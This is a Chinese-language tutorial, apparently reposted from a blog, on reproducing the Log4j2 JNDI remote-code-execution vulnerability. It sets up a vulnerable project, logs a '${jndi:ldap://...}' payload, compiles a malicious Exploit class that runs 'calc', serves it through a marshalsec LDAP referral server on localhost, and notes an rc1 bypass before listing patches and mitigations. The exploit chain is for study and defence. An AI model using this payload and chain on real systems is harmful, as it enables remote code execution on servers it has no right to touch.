手把手教你復(fù)現(xiàn)Log4j2漏洞,千萬(wàn)別中招!
點(diǎn)擊關(guān)注公眾號(hào),實(shí)用技術(shù)文章及時(shí)了解
來(lái)源:blog.csdn.net/qq_40989258/article/
details/121862363
0x00 簡(jiǎn)介
ApacheLog4j2是一個(gè)開(kāi)源的Java日志框架,被廣泛地應(yīng)用在中間件、開(kāi)發(fā)框架與Web應(yīng)用中。
0x01 漏洞概述
該漏洞是由于Apache Log4j2某些功能存在遞歸解析功能,未經(jīng)身份驗(yàn)證的攻擊者通過(guò)發(fā)送特定惡意數(shù)據(jù)包,可在目標(biāo)服務(wù)器上執(zhí)行任意代碼。
0x02 影響范圍
Apache Log4j 2.x <= 2.15.0-rc1
0x03 環(huán)境搭建
創(chuàng)建一個(gè)新的maven項(xiàng)目,并導(dǎo)入Log4j的依賴包
<dependency>
????<groupId>org.apache.logging.log4jgroupId>
????<artifactId>log4j-coreartifactId>
????<version>2.14.1version>
dependency>

0x04 漏洞利用
1、使用POC測(cè)試
import?org.apache.logging.log4j.LogManager;
import?org.apache.logging.log4j.Logger;
class?LogTest?{
????public?static?final?Logger?logger?=?LogManager.getLogger();
????public?static?void?main(String[]?args)?{
????????logger.error("${jndi:ldap://localhost:8888/Exploit}");
????}
}
2、編譯一惡意類Exploit.class
首先新建exp.java,然后編譯為class文件
class?Exploit?{
????static?{
????????System.err.println("Pwned");
????????try?{
????????????String?cmds?=?"calc";
????????????Runtime.getRuntime().exec(cmds);
????????}?catch?(?Exception?e?)?{
????????????e.printStackTrace();
????????}
????}
}
javac exp.java

3、使用marshalsec-0.0.3-SNAPSHOT-all.jar本地開(kāi)啟一個(gè)LDAP服務(wù)
java?-cp?marshalsec-0.0.3-SNAPSHOT-all.jar?marshalsec.jndi.LDAPRefServer
"http://127.0.0.1:7777/#Exploit"?8888

4、運(yùn)行poc.java,即可訪問(wèn)惡意類并執(zhí)行寫(xiě)在其中的"calc"命令

結(jié)合一些其它 StrLookup 適當(dāng)變形,以及配合官方測(cè)試用例中臟數(shù)據(jù)"?Type=A Type&Name=1100110&Char=!"可繞過(guò)rc1,RC2版本對(duì)此異常進(jìn)行了捕獲。
https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2

0x05 修復(fù)方式
目前,Apache官方已發(fā)布新版本完成漏洞修復(fù),建議用戶盡快進(jìn)行自查,并及時(shí)升級(jí)至最新版本:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
建議同時(shí)采用如下臨時(shí)措施進(jìn)行漏洞防范:
1)添加jvm啟動(dòng)參數(shù)-Dlog4j2.formatMsgNoLookups=true;
2)在應(yīng)用classpath下添加log4j2.component.properties配置文件,文件內(nèi)容為log4j2.formatMsgNoLookups=true;
3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
4)部署使用第三方防火墻產(chǎn)品進(jìn)行安全防護(hù)。
關(guān)注公眾號(hào)【Java技術(shù)江湖】后回復(fù)“PDF”即可領(lǐng)取200+頁(yè)的《Java工程師面試指南》
強(qiáng)烈推薦,幾乎涵蓋所有Java工程師必知必會(huì)的知識(shí)點(diǎn),不管是復(fù)習(xí)還是面試,都很實(shí)用。

